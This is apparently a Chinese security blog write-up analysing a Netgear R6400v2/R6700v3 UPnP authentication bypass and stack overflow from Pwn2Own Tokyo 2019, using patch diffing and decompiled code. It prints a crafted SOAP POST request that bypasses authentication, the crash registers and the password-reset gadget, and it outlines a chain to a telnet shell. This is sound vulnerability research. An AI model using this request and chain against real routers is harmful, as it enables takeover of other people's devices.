Pwn2Own-Netgear-R6700-UPnP漏洞分析

 

前言

6月15日,ZDI发布了有关NETGEAR R6700型号路由器的10个0 day的安全公告,其中有2个关于UPnP的漏洞:认证绕过缓冲区溢出。通过组合这2个漏洞,在Pwn2Own Tokyo 2019比赛中,来自Team Flashback的安全研究员Pedro RibeiroRadek Domanski成功在R6700v3设备上实现代码执行。

6月17日,NETGEAR官方发布了安全公告,并针对R6400v2R6700v3这2个型号的设备发布了补丁。由于此时还没有这2个漏洞的具体细节,于是打算通过补丁比对的方式对漏洞进行定位和分析。

 

补丁比对

选取R6400v2型号作为目标设备,根据NETGEAR官方的安全公告,选取R6400v2-V1.0.4.82R6400v2-V1.0.4.92两个版本进行比对分析。

当时R6400v2-V1.0.4.92为最新的补丁版本,后来NETGEAR官方对安全公告进行了更新,目前最新的补丁版本为R6400v2-V1.0.4.94

由于漏洞与UPnP服务有关,于是对upnpd程序进行分析,Bindiff比对的结果如下。

由图可知,存在差异的重要函数共7个。逐个对函数进行比对和分析,最终定位到sub_00024D80()函数中(补丁版本)。

可以看到,在V1.0.4.92补丁版本中,在调用memcpy()之前增加了一个长度校验,很有可能这里就是漏洞修复点。两个函数对应的伪代码如下,在补丁版本中,除了增加对memcpy()长度参数的校验外,sscanf()的格式化参数也发生了变化,可能在调用sscanf()时就会出现溢出。另外,结合该函数中的字符串sa_setBlockName,与ZDI漏洞公告中的描述相符,因此猜测这里就是栈溢出漏洞点。

为了便于阅读,已对部分函数进行了重命名。

另外,通过补丁比对的方式,暂时未定位到认证绕过漏洞。

 

漏洞利用限制

upnpd程序启用的缓解措施如下:仅启用了NX机制,同时程序的加载基址为0x8000。此外,设备上的ALSR等级为1,且upnpd程序崩溃后并不会重启。

$ checksec --file ./usr/sbin/upnpd 
    Arch:     arm-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)

根据上述信息,在无信息泄露的前提下,要想利用漏洞实现任意代码执行,最大的难题是NULL字符截断的问题。由于upnpd程序中.text段地址的最高字节均为'x00',在覆盖返回地址后,后面的payload无法传入,因此只有一次覆盖返回地址的机会。想过尝试利用单次覆盖的机会泄露地址信息,但由于upnpd程序崩溃后不会重启,似乎也不可行。在尝试常规思路无果后,于是求助于Pedro RibeiroPedro Ribeiro表示不便提前透露,但近期会公布漏洞细节。

在其他设备中也遇到过NULL字符截断的问题,故对这个漏洞如何利用更感兴趣,暂时未对调用路径进行详细分析。

 

漏洞分析

6月25日,Pedro RibeiroGitHub上公布了漏洞细节,并告知了我 ( 非常感谢:) )。结合Pedro Ribeirowrite up,加上有了可调试的真实设备,对这两个漏洞的细节有了更进一步的了解。

感兴趣的可以去看一下Pedro Ribeirowrite up,很详细。

SOAP消息

upnpd程序会监听5000/tcp端口,其主要通过SOAP协议来进行数据传输,这两个漏洞存在于对应的POST请求中。SOAP是一个基于XML的协议,一条SOAP消息就是一个普通的XML文档,其包含EnvelopeHeader(可选)、BodyFault(可选)等元素。针对该设备,一个POST请求示例如下。

// 省略部分内容
POST soap/server_sa/ HTTP/1.1
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
SetNetgearDeviceName
<NewBlockSiteName>123456
</NewBlockSiteName>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

缓冲区溢出

栈溢出漏洞存在于sa_setBlockName()函数内的sscanf()处,漏洞本身比较简单,但还需要对调用路径进行分析看如何触发。在V1.0.4.82版本中,函数sa_setBlockName()的调用路径如下。

sa_parseRcvCmd()函数

在函数sa_parseRcvCmd()内,需要使得(3)处的条件成立,即v7=0xFF37(2)处循环及其后面的代码主要是查找标签并返回其索引(类型?),同时解析标签中的内容,而在(1)v4指向对应的标签名称表,其部分内容如下。因此,请求数据中需要包含<NewBlockSiteName>标签。

int __fastcall sa_parseRcvCmd(char *a1, signed int a2)
{
  v2 = 0; haystack = a1; v76 = a2; v3 = strstr(haystack, ":Body>");
  memcpy(&v82, haystack, 0x31u);
  v83 = 0;
  if ( !v3 )
    return 702;
  v4 = dword_7DA44;  // (1) 指向标签名称及索引表
  memset(dword_D96CC, 0, 0x5F0u);
  v5 = off_7DA48; v72 = dword_7DA4C;
  if ( off_7DA48 == "END_OF_FILE" )
    return v2;
  v73 = v3 + 6; whence = 0; v6 = 0; v71 = 0; v75 = 0; buf = 0;
  while ( 1 )  // (2) 查找标签,并获取其中的内容
  {
    // ...
    v7 = *v4;
    // ...
    snprintf((char *)&s, 0x32u, "<%s", v5);
    snprintf((char *)&v84, 0x32u, "</%s>", v5);
    v8 = strstr(v73, (const char *)&s);
    if ( !v8 )
      goto LABEL_25;
    v9 = strchr(v8, '>'); v10 = v7 == 0xFF3A || v7 == 0xFF13;
    src = v9 + 1;
    if ( v10 )
      break;
    v6 = strstr(src, (const char *)&v84);
    if ( v6 )
      goto LABEL_12;
    wrap_vprintf(2, "%d, could not found %sn", 0x4C6, &v84);
LABEL_25:
    if ( v4 != &dword_7E368 && v71 <= 19 )
    {
      v5 = (char *)v4[4]; v17 = v4[5]; v4 += 3; v72 = v17;
      if ( v5 != "END_OF_FILE" )
        continue;
    }
    return 0;
  }
  // ...
  if ( v7 == 0xFF13 )
  {
    // ...
    }
LABEL_20:
    if ( v7 == 0xFF37 )  // (3) 对应标签NewBlockSiteName
    {
      if ( buf )
      {
        dword_D96CC[19 * v71] = 0xFF37;
        return sa_setBlockName(src, (int)buf);
      // ...
; 标签名称和索引(类型?)表
.data:0007DA44 dword_7DA44     DCD 0xFF00                                                 
.data:0007DA48 off_7DA48       DCD aNewenable          ; "NewEnable"
.data:0007DA4C dword_7DA4C     DCD 1                              
; ...
.data:0007DCE4                 DCD 0xFF37
.data:0007DCE8                 DCD aNewblocksitena     ; "NewBlockSiteName"
.data:0007DCEC                 DCD 0x3E8

sa_processResponse()函数

sa_processResponse()函数内,在(1)处根据soap_action的类型进入不同的处理分支,在case 0中有多处(SetDeviceNameIconByMACSetDeviceInfoByMACSetNetgearDeviceName)会跳到分支LABEL_184,满足一定条件后在(2)处会调用sa_parseRcvCmd(),同样case 1中也有多处会跳到LABEL_184分支,之后会调用sa_parseRcvCmd()

unsigned int sa_processResponse(int a1, char *a2, int a3, signed int a4, char *a5)
{
  v5 = (void *)a1; v6 = a2;
  switch ( (unsigned int)v5 )  // (1) soap action type
  {
    case 0u:  // 对应service:DeviceInfo
      if ( sa_findKeyword((int)v6, 0) == 1 ) // GetInfo
        goto LABEL_241;
      if ( sa_findKeyword((int)v6, 0xB1) == 1 ) // SetDeviceNameIconByMAC
      { v12 = 177; goto LABEL_184; }
      if ( sa_findKeyword((int)v6, 0xB9) == 1 ) // SetDeviceInfoByMAC
      { v12 = 185; goto LABEL_184; }
      if ( sa_findKeyword((int)v6, 0xBA) == 1 ) // SetNetgearDeviceName
      { v12 = 186; goto LABEL_184; }
      // ...
    case 1u:  // 对应service:DeviceConfig
      if ( sa_findKeyword((int)v6, 0xB8) == 1 ) // SOAPLogin
      { v10 = 184; v11 = -1; goto LABEL_242; }
      // ...
      if ( sa_findKeyword((int)v6, 0xB6) == 1 ) // RecoverAdminPassword
      { v12 = 182; goto LABEL_184; }
      // ...
    case 7u:  // 对应service:ParentalControl
      if ( sa_findKeyword((int)v6, 71) == 1 ) // GetAllMACAddresses
      { v10 = 71; v11 = -1; goto LABEL_242; }
      // ...
LABEL_184:
      wrap_vprintf(3, "%s()n", "sa_checkSessionID");
      v13 = strstr(v6, "SessionID");
      if ( !v13 )
        goto LABEL_759;
      v14 = v13 + 9; v15 = strchr(v13 + 9, 62); v16 = strstr(v14, "</");
      v17 = v15 == 0;
      if ( v15 )
        v17 = v16 == 0;
      if ( !v17
        && ((v18 = v15 + 1, v16 >= v15 + 1) ? (v19 = v16 - (_BYTE *)v18) : (v19 = (_BYTE *)v18 - v16), v19 <= 0x27) )
      { /* ... */ }
      else
      { /* ... */ }
      if ( v12 != 0x2D )
      {
        if ( v12 == 0x4E )
        { /* ... */ }
        else
        {
          if ( v12 != 0x5C )
          {
LABEL_196:
            v8 = sa_parseRcvCmd(v6, v75);  // (2)
            // ...

其中,sa_findKeyword()函数主要是根据指定的index在表中查找对应的keyword,对应表的部分内容如下。

.data:0007D47C dword_7D47C     DCD 0                   
.data:0007D480                 DCD aGetinfo            ; "GetInfo"
; ...
.data:0007D9EC                 DCD 0xB1
.data:0007D9F0                 DCD aSetdevicenamei     ; "SetDeviceNameIconByMAC"
; ...
.data:0007DA14                 DCD 0xB9
.data:0007DA18                 DCD aSetdeviceinfob     ; "SetDeviceInfoByMAC"
; ...
.data:0007DA1C                 DCD 0xBA
.data:0007DA20                 DCD aSetnetgeardevi     ; "SetNetgearDeviceName"
; ...
.data:0007DA2C                 DCD 0xB6
.data:0007DA30                 DCD aRecoveradminpa     ; "RecoverAdminPassword"
; ...
.data:0007DA34                 DCD 0xB8
.data:0007DA38                 DCD aSoaplogin          ; "SOAPLogin"

综上,通过构造如下所示的SOAP消息,即可到达漏洞点。

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
SetNetgearDeviceName        // SetDeviceNameIconByMAC 或 SetDeviceInfoByMAC 也行
<NewBlockSiteName>123
</NewBlockSiteName>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

认证绕过

在前面的分析中,选择通过case 0中的SetNetgearDeviceName(或SetDeviceNameIconByMACSetDeviceInfoByMAC)去触发漏洞,这就涉及到认证绕过漏洞了。

signed int __fastcall sa_method_check(char *a1, int a2, char *a3, signed int a4)
{
  request_ptr = a1;   // point to the start of http request
  v5 = a2; v6 = a3; v7 = a4; v8 = 0;
  v9 = dword_8F5B8;
  LOBYTE(dword_BFEC4) = 0;
  *(_WORD *)((char *)&dword_BFEC4 + 1) = 0;
  HIBYTE(dword_BFEC4) = 0;
  if ( dword_8F5B8 == 1 )
    return sub_2BCE0(0x20000, aXmlVersion10En_87, v5, v9);
  v11 = stristr(request_ptr, aSoapaction_0);    // (1) 查找"SOAPAction:"
  if ( !v11 )
    return -1;
  v12 = aDeviceinfo;
  v13 = (const char *)(v11 + strlen(aSoapaction_0));
  while ( 1 )  // (2) 在表中查找具体的SOAPAction操作, 并获取对应的soap_action type
  {
    v14 = v12; dword_9DCF4 = (int)v12; v12 += 30;
    if ( stristr(v13, v14) )
      break;
    if ( ++v8 == 11 )
    {
      soap_action_index = -1; goto LABEL_10;
    }
  }
  soap_action_index = v8;
LABEL_10:
  // ...  
  v19 = (const char *)stristr(request_ptr, "Cookie:");
  v20 = (const char *)stristr(request_ptr, "SOAPAction:");
  v21 = (size_t)v20;
  v22 = strchr(v20, 'r');
  *v22 = v18; v23 = v21; n = v22;
  v24 = stristr(v23, "service:DeviceConfig:1#SOAPLogin") == 0;
  if ( !v19 )
    v24 = 0;
  *n = 13;
  if ( !v24 || (v25 = strchr(v19, 'r'), (v87 = v25) == 0) )
  {
LABEL_52:
    strncpy((char *)&unk_D9050, "", 0x13u);
    v44 = inet_ntoa((struct in_addr)v6);
    strncpy((char *)&unk_D9050, v44, 0x13u);
    v45 = inet_ntoa((struct in_addr)v6);
    v46 = (const char *)acosNvramConfig_get("lan_ipaddr");
    if ( strcmp(v45, v46)  // (3) 需保证判断条件为false
      && strncmp(v13, " urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate", 0x3Au)
      && strncmp(v13, " "urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate"", 0x3Cu)
      && strncmp(v13, " urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin", 0x34u)
      && strncmp(v13, " "urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin"", 0x36u)
      && strncmp(v13, " urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo", 0x30u) )
    {
      // ...
    }
    goto LABEL_27;
  }
  // ...
LABEL_27:
  if ( strcmp((const char *)dword_9DCF4, "ParentalControl") )
    goto LABEL_28;
  // ...
LABEL_28:
  if ( soap_action_index == -1
    || (v31 = (const char *)dword_9DCF4,
        wrap_vprintf(3, "%s()n", "sa_saveXMLServiceType"),
        memset(byte_9FA30, 0, 0x64u),
        (v32 = stristr(request_ptr, "urn:")) == 0)
    || (v33 = (const void *)stristr(v32 + 4, ":")) == 0
    || (v34 = stristr(request_ptr, v31)) == 0 )
  {
LABEL_50:
    v9 = 401;
    return sub_2BCE0(0x20000, aXmlVersion10En_87, v5, v9);
  }
  v35 = strlen(v31);
  strcat(byte_9FA30, "urn:NETGEAR-ROUTER");
  v36 = strlen(byte_9FA30);
  memcpy(&byte_9FA30[v36], v33, v34 + v35 - (_DWORD)v33);
  strcat(byte_9FA30, ":1");
  v37 = sa_processResponse(soap_action_index, request_ptr, v5, v7, v6);  // (4)

sa_method_check()函数中,在(1)处查找POST请求中的SOAPAction:头,(2)处在表中查找具体的SOAPAction服务并获取对应的类型(索引?),表中包含的服务名称及其顺序如下。

.data:0007E380 aDeviceinfo             DCB "DeviceInfo",0      
.data:0007E39E aDeviceconfig           DCB "DeviceConfig",0
.data:0007E3BC aWanipconnectio_0     DCB "WANIPConnection",0
.data:0007E3DA aWanethernetlin_0     DCB "WANEthernetLinkConfig",0
.data:0007E3F8 aLanconfigsecur         DCB "LANConfigSecurity",0
.data:0007E416 aWlanconfigurat         DCB "WLANConfiguration",0
.data:0007E434 aTime                   DCB "Time",0
.data:0007E452 aParentalcontro         DCB "ParentalControl",0
.data:0007E470 aAdvancedqos            DCB "AdvancedQoS",0
.data:0007E48E aUseroptionstc          DCB "UserOptionsTC",0
.data:0007E4AC aEndOfFile_0            DCB "END_OF_FILE",0

为了使得程序能执行到(4),需要使得(3)处的判断条件不成立,即SOAPAction头部需包含以下三个之一。在(3)处还有一个对ip的判断,但这个似乎不太好伪造。

  • urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate
  • urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin
  • urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo

访问以上3个SOAPAction是无需认证的,似乎到这里直接发送如下POST请求就可以到达溢出漏洞点了。

POST soap/server_sa/ HTTP/1.1
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
SetNetgearDeviceName        // SetDeviceNameIconByMAC 或 SetDeviceInfoByMAC 也行
<NewBlockSiteName>123
</NewBlockSiteName>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

但是在sa_processResponse()函数中,在根据soap_action的类型进入分支处理时,urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfourn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin这2项会分别匹配对应case 分支的第1条if语句,从而跳转到其他地方,而urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate对应的case分支中的跳转都是跳到其他地方。因此,直接访问以上3个SOAPAction,程序执行流程不会到达溢出漏洞点。

unsigned int __fastcall sa_processResponse(int a1, char *a2, int a3, signed int a4, char *a5)
{

  v5 = (void *)a1; v6 = a2;
  switch ( (unsigned int)v5 )
  {
    case 0u:  // 对应service:DeviceInfo
      if ( sa_findKeyword((int)v6, 0) == 1 ) // GetInfo
        goto LABEL_241;  // (1) <=== 跳转到其他分支
      if ( sa_findKeyword((int)v6, 0xB1) == 1 ) // SetDeviceNameIconByMAC
      { v12 = 177; goto LABEL_184; }
      if ( sa_findKeyword((int)v6, 0xB9) == 1 ) // SetDeviceInfoByMAC
      { v12 = 185; goto LABEL_184; }
      if ( sa_findKeyword((int)v6, 0xBA) == 1 ) // SetNetgearDeviceName
      { v12 = 186; goto LABEL_184; }
      // ...
    case 1u:  // 对应service:DeviceConfig
      if ( sa_findKeyword((int)v6, 0xB8) == 1 ) // SOAPLogin
      { v10 = 184; v11 = -1; goto LABEL_242; }  // (2) <=== 跳转到其他分支
      // ...
    case 7u:  // 对应service:ParentalControl
      if ( sa_findKeyword((int)v6, 71) == 1 ) // GetAllMACAddresses
      { v10 = 71; v11 = -1; goto LABEL_242; }  // (3) <=== 全部跳转到其他分支
      // ...

那么如何才到达溢出漏洞点且无需认证呢?考虑到在查找SOAPAction服务和SOAPAction对应的关键字时采用的是stristr()函数,即直接进行字符串匹配查找,而没有考虑字符串具体的位置,可以通过发送如下POST请求绕过认证并达到溢出漏洞点。

// 省略部分内容
POST soap/server_sa HTTP/1.1
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLoginDeviceInfo

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
SetNetgearDeviceName
<NewBlockSiteName>123456
</NewBlockSiteName>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

首先,在sa_method_check()中,在查找SOAPAction服务时,对应的表项DeviceInfo排在DeviceConfig之前,因此会匹配到DeviceInfo,对应的soap_action类型为0。其次,在对SOAPAction头部进行判断时,某个strncmp()会比对成功返回0,使得对应的if条件为false,程序继续执行后会调用sa_processResponse()。在sa_processResponse()中,由于soap_action的类型为0,程序会进入case 0分支,在查找关键字时会匹配到下面的SetNetgearDeviceName,因而会跳到对应的分支继续执行,最终到达溢出漏洞点。

 

漏洞利用

现在可以绕过认证并触发溢出漏洞了,该如何对溢出漏洞进行利用呢?溢出时的crash信息如下,可以看到,寄存器r4~r8pc的内容都被覆盖了。

(gdb) c                                                                   
Continuing.                                                               

Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x63636362                                
0x63636362 in ?? ()                                                       
(gdb) i r                                                                 
r0             0x0      0                                                 
r1             0x662bc  418492                                            
r2             0x662bc  418492                                            
r3             0xbeece355       3203195733                                
r4             0x61616161       1633771873                                
r5             0x61616161       1633771873                                
r6             0x61616161       1633771873                                
r7             0x61616161       1633771873                                
r8             0x62626262       1650614882                                
r9             0x1      1                                                 
r10            0x0      0                                                 
r11            0xbeeccf80       3203190656                                
r12            0x0      0                                                 
sp             0xbeeccbb0       0xbeeccbb0                                
lr             0x24c38  150584                                            
pc             0x63636362       0x63636362                                
cpsr           0x60000030       1610612784                                
(gdb) x/10wx $sp-0x10                                                     
0xbeeccba0:     0x61616161      0x61616161      0x62626262      0x63636363
0xbeeccbb0:     0x00000000      0x0000ff37      0x0000041e      0xbeeccf80
0xbeeccbc0:     0xbeeccf4c      0x00000002

前面提到过,若想要实现任意代码执行,需要解决NULL字符截断的问题。在仅有一次覆盖返回地址的机会时,该如何构造payload呢? 在有限的条件下,Pedro Ribeiro采取了一种巧妙的方式,通过单次覆盖来修改设备管理员账户的密码,而upnpd程序中正好存在这一代码片段。这段代码不依赖于其他的寄存器以及栈空间内容等,跳转执行成功后程序还是会崩溃,但管理员账户的密码已成功修改成password

; V1.0.4.82 版本
.text:00039A58 LDR             R0, =aHttpPasswd ; "http_passwd"
.text:00039A5C LDR             R1, =aPassword ; "password"
.text:00039A60 BL              acosNvramConfig_set

有了管理员账户和密码后,可以登录设备的管理界面,对设备的配置进行修改,但如何获取设备的shell以实现代码执行呢?Pedro Ribeiro指出,在R6700v3型号的设备上,可以通过某种方式开启设备的telnet服务,再利用已有的管理员账号和密码登录,即可获取设备的shell

Pedro Ribeiro给出的完整利用流程如下:

  • 结合认证绕过漏洞和缓冲区溢出漏洞,通过发送POST请求来修改管理员账号的密码;
  • 利用已有的管理员账号和密码,登录web页面,再次修改管理员账号的密码;
  • 通过向设备的23/udp端口发送telnetenable数据包,以开启telnet服务;
  • 利用已有的管理员账号和密码,登录telnet服务,即可成功获取设备的shell

 

小结

本文从补丁比对出发,结合Pedro Ribeirowrite up,对NETGEAR R6400v2型号设备中的UPnP漏洞进行了定位和分析。

  • 认证绕过:在对SOAPAction头进行解析和处理时,由于缺乏适当的校验,可通过伪造SOAPAction头部来绕过认证,从而访问某些API
  • 缓冲区溢出:在解析和处理POST请求中的数据时,由于缺乏长度校验,通过伪造超长的数据,最终会造成在sa_setBlockName()函数中出现缓冲区溢出

栈溢出漏洞本身比较简单,但漏洞利用却存在NULL字符截断的问题,在只有一次覆盖返回地址的机会时,Pedro Ribeiro采用了一种巧妙的方式,值得借鉴和学习。

 

相关链接

(完)